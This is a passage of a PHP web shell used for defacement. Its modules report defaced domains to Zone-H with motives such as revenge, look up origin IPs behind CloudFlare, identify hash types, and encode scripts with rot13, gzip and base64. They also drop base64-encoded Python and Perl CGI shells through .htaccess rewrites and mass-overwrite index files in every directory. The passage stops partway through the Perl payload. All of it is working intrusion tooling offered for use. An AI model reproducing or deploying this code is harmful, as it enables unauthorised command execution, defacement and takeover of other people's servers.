<select name="hackmode" class="inputz" >
<option >------------------------Choose Any------------------------</option>
<option value="1">Known Vulnerability (i.e. unpatched system)</option>
<option value="2" >Undisclosed (new) vulnerability</option>
<option value="3" >Configuration / Admin. Mistake</option>
<option value="4" >Brute Force Attack</option>
<option value="5" >Social Engineering</option>
<option value="6" >Web Server Intrusion</option>
<option value="7" >Web Server External Module Intrusion</option>
<option value="8" >Mail Server Intrusion</option>
<option value="9" >FTP Server Intrusion</option>
<option value="10" >SSH Server Intrusion</option>
<option value="11" >Telnet Server Intrusion</option>
<option value="12" >RPC Server Intrusion</option>
<option value="13" >Shares Misconfiguration</option>
<option value="14" >Other Server Intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application Bug</option>
<option value="19" >Remote Administrative Panel Access Bruteforcing</option>
<option value="20" >Remote Administrative Panel Access Password Guessing</option>
<option value="21" >Remote Administrative Panel Access Social Engineering</option>
<option value="22" >Attack Against Administrator(password stealing/sniffing)</option>
<option value="23" >Access Credentials Through Man In the Middle Attack</option>
<option value="24" >Remote Service Password Guessing</option>
<option value="25" >Remote Service Password Bruteforce</option>
<option value="26" >Rerouting After Attacking The Firewall</option>
<option value="27" >Rerouting After Attacking The Router</option>
<option value="28" >DNS Attack Through Social Engineering</option>
<option value="29" >DNS Attack Through Cache Poisoning</option>
<option value="30" >Not Available</option>
</select>

<select name="reason" class="inputz" >
<option >-------------Choose Any---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class=\'inputzbut\' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>

<?php
echo \'<center>\';
	ob_start();
	$sub = get_loaded_extensions();
	if(!in_array("curl", $sub)){die(\'[-] Curl Is Not Supported !! \');}
	$hacker = $_POST[\'defacer\'];
	$method = $_POST[\'hackmode\'];
	$neden = $_POST[\'reason\'];
	$site = $_POST[\'domain\'];
	
	if (empty($hacker)){die ("[+] You Must Fill In The Attacker Name![+]");}
	elseif($method == "--------SELECT--------") {die("[+] You Must Select The Method![+]");}
	elseif($neden == "--------SELECT--------") {die("[+] You Must Select The Reason![+]");}
	elseif(empty($site)) {die("[+] You Must Inter the Sites List![+] ");}
	$i = 0;
	$sites = explode("
", $site);
	while($i < count($sites)) 
	{
		if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
		ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
		echo "Site : ".$sites[$i]." Defaced !
";
		++$i;
	}
	echo "[+] Successfully Submitted To Zone-H!! [+]";

	echo \'</center>\';
}

/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass-cf\'))
{	
echo \'
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">--==[ Bypass
<font color="#CC0000">CloudFlare</font> ]==--</font></b></p>
<select class="inputz" name="krz">
	<option>ftp</option>
		<option>direct-conntect</option>
			<option>webmail</option>
				<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass"></center>

\';

$target = $_POST[\'target\'];
# Bypass From FTP
if($_POST[\'krz\'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#FF0000\'>Correct 
ip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$ftp</font></p>";
} 
# Bypass From Direct-Connect
if($_POST[\'krz\'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#FF0000\'>Correct 
ip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST[\'krz\'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#FF0000\'>Correct 
ip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST[\'krz\'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#FF0000\'>Correct 
ip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$cpanel</font></p>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////



//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hashid\')) {
if(isset($_POST[\'gethash\'])){
		$hash = $_POST[\'hash\'];
		if(strlen($hash)==32){
			$hashresult = "MD5 Hash";
		}elseif(strlen($hash)==40){
			$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
		}elseif(strlen($hash)==13){
			$hashresult = "DES(Unix) Hash";
		}elseif(strlen($hash)==16){
			$hashresult = "MySQL Hash / /DES(Oracle Hash)";
		}elseif(strlen($hash)==41){
			$GetHashChar = substr($hash, 40);
			if($GetHashChar == "*"){
				$hashresult = "MySQL5 Hash"; 
			}	
		}elseif(strlen($hash)==64){
			$hashresult = "SHA-256 Hash";
		}elseif(strlen($hash)==96){
			$hashresult = "SHA-384 Hash";
		}elseif(strlen($hash)==128){
			$hashresult = "SHA-512 Hash";
		}elseif(strlen($hash)==34){
			if(strstr($hash, \'$1$\')){
				$hashresult = "MD5(Unix) Hash";
			} 	
		}elseif(strlen($hash)==37){
			if(strstr($hash, \'$apr1$\')){
				$hashresult = "MD5(APR) Hash";
			} 	
		}elseif(strlen($hash)==34){
			if(strstr($hash, \'$H$\')){
				$hashresult = "MD5(phpBB3) Hash";
			} 	
		}elseif(strlen($hash)==34){
			if(strstr($hash, \'$P$\')){
				$hashresult = "MD5(Wordpress) Hash";
			} 	
		}elseif(strlen($hash)==39){
			if(strstr($hash, \'$5$\')){
				$hashresult = "SHA-256(Unix) Hash";
			} 	
		}elseif(strlen($hash)==39){
			if(strstr($hash, \'$6$\')){
				$hashresult = "SHA-512(Unix) Hash";
			} 	
		}elseif(strlen($hash)==24){
			if(strstr($hash, \'==\')){
				$hashresult = "MD5(Base-64) Hash";
			} 	
		}else{
			$hashresult = "Hash type not found";
		}
	}else{
		$hashresult = "No Hash Entered";
	}
	
	?>
	<center><br><Br><br>
	
		<form action="" method="POST">
		<tr>
		<table class="tabnet">
		<th colspan="5">Hash Identification</th>
		<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td>	<td><input type="text" name="hash" size=\'60\' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
		<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
	</table></tr></form>
	</center>
	
	<?php
 }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'python\')) { 
echo "<center/><br/><b>
 --==[ Python  Bypass Exploit ]==-- 
 </b><br><br>";
 
 
    mkdir(\'python\', 0755);
    chdir(\'python\');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$pythonp = \'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi\';

$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
    chmod("python.izo",0755);
   echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
 
 </div>"; }

//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'string\')){
$text = $_POST[\'code\'];
?><center><br><br><b>--==[ Script Encode & Decode ]==--</b><br><br>
<form method="post"><br><br><br>
<textarea class=\'inputz\' cols=80 rows=10 name="code"></textarea><br><br>
<select class=\'inputz\' size="1" name="ope">
<option value="base64">Base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select>&nbsp;<input class=\'inputzbut\' type=\'submit\' name=\'submit\' value=\'Encrypt\'>
<input class=\'inputzbut\' type=\'submit\' name=\'submits\' value=\'Decrypt\'>
</form>

<?php 
$submit = $_POST[\'submit\'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case \'base64\': $codi=base64_encode($text);
break;case \'str\' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case \'gzinflate\' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;default:break;}}

$submit = $_POST[\'submits\'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case \'base64\': $codi=base64_decode($text);
break;case \'str\' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case \'gzinflate\' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;default:break;}}

echo \'<textarea cols=80 rows=10 class="inputz" readonly>\'.$codi.\'</textarea></center><BR><BR>\';

}

/////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mass\'))
{
echo "<center/><br/><b><font color=#FF0000>--==[ Mass Deface ]==--</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER[\'PHP_SELF\']?>" method=\'post\'>
<td><table><table class="tabnet" >
<form hethot=\'post\'>
<tr>
	<tr>
	<td>&nbsp;&nbsp;Folder</td><td><input class =\'inputz\' type=\'text\' name=\'path\' size=\'60\' value="<?php echo getcwd();?>"></td>
	</tr><br>
	<tr>
	<td>File N</td><td><input class =\'inputz\' type=\'text\' name=\'file\' size=\'60\' value="index.php"></td>
	</tr>
</tr>
<th colspan=\'2\'><b>Index Code</b></th><br></table>
<textarea style=\'background:black;outline:none;\' name=\'index\' rows=\'10\' cols=\'67\'>Powered byDaNG3R - CheNaToR^</textarea><br>
<center><input class=\'inputzbut\' type=\'submit\' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>

<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}

//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi\')) { 
echo "<center/><br/><b><font color=blue>--==[ cgitelnet.v1  Bypass Exploit]==--</font></b><br><br>";
 mkdir(\'cgitelnet1\', 0755);
    chdir(\'cgitelnet1\');      
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .cin
AddHandler cgi-script .cin";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgishellizocin = \'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKC